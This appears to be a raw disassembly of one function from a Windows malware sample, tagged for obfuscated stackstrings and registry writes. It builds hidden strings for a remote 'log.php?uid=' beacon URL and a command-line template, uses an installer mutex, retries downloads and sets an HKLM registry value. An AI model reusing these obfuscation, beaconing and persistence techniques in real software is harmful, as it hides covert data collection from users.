Function at 0x1400868fc
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3c8]
sub rsp, 0x488
mov qword [rbp + 0x88], 0xfffffffffffffffe
mov r14, r9
mov rsi, r8
mov rbx, rdx
mov r13, rcx
mov dword [rsp + 0x5e], 0x642e3233
mov word [rsp + 0x59], 0x7265
xor r15d, r15d
mov word [rsp + 0x63], WSASetLastError
mov word [rsp + 0x5c], 0x6c65
mov byte [rsp + 0x5b], WSASetLastError
mov byte [rsp + 0x58], WSAGetLastError
mov byte [rsp + 0x62], WSASetLastError
mov dword [rsp + 0x4a], 0x754d6e65
mov dword [rsp + 0x4f], 0x417865
mov byte [rsp + 0x4e], reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x48], 0x704f
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
test rax, rax
jne 0x140086a58
mov rdx, qword [r13]
sub rdx, 0x18
or edi, 0xffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400869d3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400869f1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140086a0f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r14]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140086a2d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rbp + 0x3f0]
mov rdx, qword [rax]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140086a51
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
jmp 0x140087251
call fcn.140010fb4
mov rcx, rax
test rax, rax
jne 0x140086a70
mov ecx, 0x80004005
call fcn.140010d40
int3
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov word [rbp - 0x65], 0x253d
mov dword [rbp - 0x5a], 0x3d646975
mov dword [rbp - 0x51], 0x73253d
mov dword [rbp - 0x62], 0x3d632d20
mov dword [rbp - 0x5e], 0x2d207325
mov dword [rbp - 0x70], 0x2073682d
mov dword [rbp - 0x56], 0x2d207325
mov dword [rbp - 0x6a], 0x69632d20
mov byte [rbp - 0x63], reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x6c], 0x732d
mov byte [rbp - 0x52], 0x67
mov byte [rbp - 0x66], 0x64
mov rax, qword [rbx]
mov qword [rsp + 0x28], rax
mov rax, qword [r13]
mov qword [rsp + 0x20], rax
mov r9, qword [r14]
mov r8, qword [rsi]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.14000da78
lea rdx, [0x1400bcee3]
lea rcx, [rbp + 0x20]
call fcn.1400109fc
nop
mov r14d, r15d
mov dword [rbp - 8], r15d
or edi, 0xffffffff
mov ecx, 1
call fcn.1400587a4
mov qword [rbp], rax
mov qword [rbp + 8], r15
call fcn.140010fb4
test rax, rax
je 0x140087246
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x3c], 0x702e676f
mov dword [rbp - 0x29], 0x26323d70
mov dword [rbp - 0x1e], 0x253d6e6f
mov word [rbp - 0x24], 0x7478
mov word [rbp - 0x45], 0x7370
mov dword [rbp - 0x38], 0x753f7068
mov word [rbp - 0x31], 0x7325
mov dword [rbp - 0x43], 0x252f2f3a
mov word [rbp - 0x21], 0x736e
mov word [rbp - 0x48], 0x7468
mov dword [rbp - 0x2e], 0x73253d6d
mov word [rbp - 0x3e], 0x6c2f
mov word [rbp - 0x1a], 0x64
mov byte [rbp - 0x46], reloc.WS2_32.dll_WSACleanup
mov word [rbp - 0x34], 0x6469
mov byte [rbp - 0x2a], Ordinal_41
mov byte [rbp - 0x32], 0x3d
mov byte [rbp - 0x1f], 0x69
mov byte [rbp - 0x3f], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x2f], Ordinal_41
mov byte [rbp - 0x25], 0x65
mov byte [rbp - 0x22], 0x65
lea rcx, [rbp + 0x30]
call fcn.1400040b0
nop
mov dword [rsp + 0x28], r15d
lea rcx, str.9ad0f6d7befe4c96ae251986e33f9d4a
mov qword [rsp + 0x20], rcx
mov r9, qword [r13]
mov r8, qword [rax]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x18]
call fcn.14000da78
nop
mov rdx, qword [rbp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140086c01
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
cmp r14d, 3
jl 0x140086c1e
lea r8, str.lg.php
lea rdx, str.log.php
lea rcx, [rbp - 0x18]
call fcn.140008760
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x10]
call fcn.140010a98
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, str.time_d
lea rcx, [rbp - 0x10]
call fcn.140010514
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x38]
call fcn.140010a98
mov rdx, rax
lea rcx, [rbp]
call fcn.14008726c
test al, al
je 0x140086ff1
cmp qword [rbp + 8], 0x100000
jb 0x1400870c5
lea rcx, [rbp + 0x90]
call fcn.14007df64
nop
mov byte [rbp + 0x90], r15b
mov word [rsp + 0x75], 0x3231
mov dword [rbp - 0x7e], 0x31613564
mov dword [rsp + 0x6f], 0x37393835
mov word [rbp - 0x7a], 0x3637
mov word [rsp + 0x7d], 0x3230
mov dword [rsp + 0x69], 0x35336563
mov byte [rbp - 0x78], r15b
mov word [rsp + 0x78], 0x3365
mov word [rbp - 0x80], 0x3933
mov word [rsp + 0x73], 0x3635
mov word [rsp + 0x7b], 0x3237
mov byte [rsp + 0x7a], Ordinal_50
mov byte [rsp + 0x7f], 0x64
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x6d], 0x3736
mov byte [rsp + 0x77], 0x34
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x58], r15
mov byte [rbp + 0x48], r15b
lea rcx, [rsp + 0x68]
call fcn.140051300
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x48]
call fcn.140003f08
nop
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x78], r15
mov byte [rbp + 0x68], r15b
xor r8d, r8d
lea rdx, [0x1400bcee3]
lea rcx, [rbp + 0x68]
call fcn.140003f08
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.14007de1c
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x140086d70
inc rdx
mov r8d, 1
mov rcx, qword [rbp + 0x48]
call fcn.140003d58
mov rcx, qword [rbp + 8]
call fcn.14004cf38
mov rsi, rax
mov dword [rbp + 0x400], r15d
lea rax, [rbp + 0x400]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8d, dword [rbp + 8]
mov rdx, qword [rbp]
lea rcx, [rbp + 0x90]
call fcn.14007daf4
mov bl, al
mov rcx, qword [rbp]
call fcn.140058358
test bl, bl
jne 0x140086dcf
mov rcx, rsi
call fcn.14004c984
nop
lea rcx, [rbp + 0x90]
call fcn.1400061f4
jmp 0x140087006
movsxd rbx, dword [rbp + 0x400]
mov rcx, rbx
call fcn.14004cf38
mov r12, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.14004dc00
mov rcx, rsi
call fcn.14004c984
lea rcx, [rbp + 0x18]
call fcn.140084698
nop
lea rdx, [0x1400bd22c]
mov rcx, qword [rbp + 0x18]
call fcn.140060af8
mov byte [rbp + 0x3f8], r15b
mov r14d, r15d
neg eax
sbb r15d, r15d
not r15d
and r15d, 0xa
lea rbx, [0x1400bcee3]
mov rcx, rbx
call fcn.140051300
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140010888
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1400109fc
nop
mov rbx, qword [rsp + 0x40]
mov ecx, 1
mov edx, 0x104
mov eax, dword [rbx - 0xc]
sub ecx, dword [rbx - 8]
sub eax, edx
cmp r15d, 0xa
jge 0x140086ea3
or eax, ecx
jge 0x140086e82
lea rcx, [rsp + 0x40]
call fcn.140010c2c
mov rbx, qword [rsp + 0x40]
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 0
mov r8, rbx
mov rax, qword [rbp + 0x3f0]
mov rdx, qword [rax]
mov rcx, r12
call fcn.140087a70
jmp 0x140086ed5
or eax, ecx
jge 0x140086eb6
lea rcx, [rsp + 0x40]
call fcn.140010c2c
mov rbx, qword [rsp + 0x40]
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 0
mov r8, rbx
mov rax, qword [rbp + 0x3f0]
mov rdx, qword [rax]
mov rcx, r12
call fcn.1400873d8
mov sil, al
lea eax, [r15 + 1]
xor r15d, r15d
cmp eax, 0x14
cmovl r15d, eax
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.1400606d8
test eax, eax
js 0x1400870ba
cmp eax, dword [rbx - 0xc]
jg 0x1400870ba
mov dword [rbx - 0x10], eax
cdqe
mov byte [rax + rbx], 0
test sil, sil
jne 0x140086f1e
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140086f48
xor ebx, ebx
lea r8, str.GlobalCInstallerMutex
xor edx, edx
mov ecx, 0x100000
call qword [rbp + Ordinal_41]
test rax, rax
jne 0x140086f74
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x140086f20
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140086f66
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc r14d
cmp r14d, 0x14
jge 0x140086fa7
jmp 0x140086e27
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 0x3f8], 1
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
xor r15d, r15d
test eax, eax
jg 0x140086faa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x140086faa
xor r15d, r15d
mov rcx, r12
call fcn.14004c984
nop
mov rdx, qword [rbp + 0x18]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
add eax, edi
cmp byte [rbp + 0x3f8], r15b
jne 0x140087059
test eax, eax
jg 0x140086fdf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp + 0x90]
call fcn.1400061f4
mov r14d, dword [rbp - 8]
jmp 0x140086ffa
mov rcx, qword [rbp]
call fcn.140058358
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087025
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087043
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc r14d
mov dword [rbp - 8], r14d
cmp r14d, 6
jge 0x1400871ba
jmp 0x140086b08
test eax, eax
jg 0x140087067
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp + 0x90]
call fcn.1400061f4
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087093
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400871ba
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1400871ba
mov ecx, 0x80070057
call fcn.140010d40
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400870e4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087103
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x20]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087122
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087142
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r13]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087161
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x3d8]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140087186
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x3e0]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400871ab
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x3e8]
mov rdx, qword [rdx]
jmp 0x140086a12
mov ebx, r15d
mov r13, qword [rbp + 0x28]
lea r8, str.GlobalCInstallerMutex
xor edx, edx
mov ecx, 0x100000
call r13
test rax, rax
je 0x1400871f5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xf0
jl 0x1400871c1
call fcn.14008aea8
xor ecx, ecx
call fcn.140051440
mov dword [0x1400d7808], eax
mov r9d, 4
mov dword [rsp + 0x28], r9d
lea rax, [0x1400d7808]
mov qword [rsp + 0x20], rax
lea r8, [0x1400bd248]
lea rdx, [0x1400d7820]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHSetValueA]
nop
mov r13, qword [rbp + 0x3d0]
jmp 0x140087103
mov ecx, 0x80004005
call fcn.140010d40
nop
add rsp, 0x488
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret